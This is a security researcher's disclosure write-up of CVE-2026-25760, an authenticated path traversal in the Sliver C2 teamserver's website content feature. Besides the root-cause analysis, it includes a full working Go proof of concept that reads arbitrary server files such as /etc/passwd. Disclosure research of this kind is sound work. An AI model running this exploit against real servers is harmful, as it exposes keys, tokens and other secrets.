CVE-2026-25760: From Website Content to Arbitrary File Read in Sliver <= 1.6.10

CVE-2026-25760: From Website Content to Arbitrary File Read in Sliver <= 1.6.10

February 6, 2026
Vulnerability Research · 1

Context

I recently joined the RaptX Research Team to focus on projects in kernel drivers, malware C2, CNCF projects, and reverse-engineering tooling. Instead of only tracking campaigns and analyzing malware samples, I started reviewing open-source C2 frameworks and picked Sliver for a deeper code audit. It looked secure at first, but after digging through the code paths for a while, I found some interesting issues.

This write-up covers one of those findings: an authenticated path traversal in Sliver’s website content feature that lets a logged-in operator read arbitrary files from the server host.

Vulnerability

  • CVE: CVE-2026-25760
  • Type: Path Traversal -> Arbitrary File Read
  • Affected versions: <= 1.6.10
  • CVSS (provided): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Impact

An authenticated operator account that can access website APIs can read files outside the intended website directory. In practice, this can expose sensitive server-side files such as configuration files, keys, tokens, logs, and environment data, depending on server file permissions.

How I Found It

I started from the website management RPC handlers and followed the full data path:

  1. Where user-controlled path values are accepted.
  2. Where those values are stored.
  3. Where those stored values are used in filesystem operations.

The bug showed up when the stored content path was later reused during file reads without proper canonicalization/containment checks. Once I saw that, traversal payloads like ../../../../etc/hosts were the obvious next test and they worked.

Root Cause

User-controlled content paths are accepted and persisted, then later used to read files via joined filesystem paths without enforcing that the final resolved path stays inside the intended web content root.

In short: untrusted path in, trusted filesystem read out.

Technical References

  • server/rpc/rpc-website.go (WebsiteAddContent) accepts/stores operator-controlled path values.
  • server/db/models/website.go (ToProtobuf) reads content from disk using stored path values.

Vulnerable Code (<= 1.6.10)

server/rpc/rpc-website.go (user-controlled content.Path accepted and passed through):

for _, content := range req.Contents {
        if content.ContentType == "" {
                content.ContentType = mime.TypeByExtension(filepath.Ext(content.Path))
                if content.ContentType == "" {
                        content.ContentType = "text/html; charset=utf-8"
                }
        }

        content.Size = uint64(len(content.Content))
        err := website.AddContent(req.Name, content)
        if err != nil {
                return nil, rpcError(err)
        }
}

server/db/models/website.go (traversal sink in affected versions):

for _, webcontent := range w.WebContents {
        contents, _ := os.ReadFile(filepath.Join(webContentDir, webcontent.Path))
        WebContents[webcontent.ID.String()] = webcontent.ToProtobuf(&contents)
}

The second snippet is the critical issue: webcontent.Path is attacker-controlled and gets joined into a filesystem path without containment checks.

Proof of Concept Code

package main

import (
        "context"
        "flag"
        "fmt"
        "os"
        "path/filepath"
        "runtime"
        "strings"
        "time"

        "github.com/bishopfox/sliver/client/assets"
        "github.com/bishopfox/sliver/client/transport"
        "github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
        var (
                configPath  string
                websiteName string
                targetPath  string
                webPath     string
                maxBytes    int
        )
        flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
        flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
        flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
        flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
        flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
        flag.Parse()

        if targetPath == "" {
                if runtime.GOOS == "windows" {
                        targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
                } else {
                        targetPath = "/etc/passwd"
                }
        }

        if webPath == "" {
                trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
                webPath = "../../../../../../../../" + trimmed
        }

        config, err := loadConfig(configPath)
        if err != nil {
                fatalf("config error: %v", err)
        }

        rpc, conn, err := transport.MTLSConnect(config)
        if err != nil {
                fatalf("connect error: %v", err)
        }
        defer conn.Close()

        ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
        defer cancel()

        _, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
                Name: websiteName,
                Contents: map[string]*clientpb.WebContent{
                        webPath: {
                                Path:        webPath,
                                ContentType: "text/plain",
                                Content:     []byte("poc"),
                        },
                },
        })
        if err != nil {
                fatalf("WebsiteAddContent failed: %v", err)
        }

        resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
        if err != nil {
                fatalf("Website failed: %v", err)
        }

        var leaked *clientpb.WebContent
        for _, c := range resp.Contents {
                if c.Path == webPath {
                        leaked = c
                        break
                }
        }
        if leaked == nil {
                fatalf("did not find content for path %q", webPath)
        }

        data := leaked.Content
        if len(data) > maxBytes {
                data = data[:maxBytes]
        }

        fmt.Printf("[+] target: %s\n", targetPath)
        fmt.Printf("[+] web-path: %s\n", webPath)
        fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
        fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
        if path != "" {
                return assets.ReadConfig(path)
        }
        configs := assets.GetConfigs()
        if len(configs) == 0 {
                return nil, fmt.Errorf("no configs found; use -config")
        }
        if len(configs) > 1 {
                return nil, fmt.Errorf("multiple configs found; use -config")
        }
        for _, c := range configs {
                return c, nil
        }
        return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
        fmt.Fprintf(os.Stderr, format+"\n", args...)
        os.Exit(1)
}

PoC Explanation

  1. The PoC authenticates as an operator and calls WebsiteAddContent.
  2. It sets content.Path to a traversal value like ../../../../etc/hosts.
  3. The path is stored server-side without strict containment checks in affected versions.
  4. A follow-up Website call triggers the vulnerable read path (ToProtobuf) that resolves and reads from disk using the stored path.
  5. The file bytes are returned in the website content response and printed by the PoC.

Why This Matters

Even though this is authenticated, C2 platforms are high-value targets and operator accounts are realistic attack paths. Arbitrary file read on the teamserver can become a stepping stone for further compromise depending on what files are exposed.

Disclosure Note

This issue was reported and assigned CVE-2026-25760.

References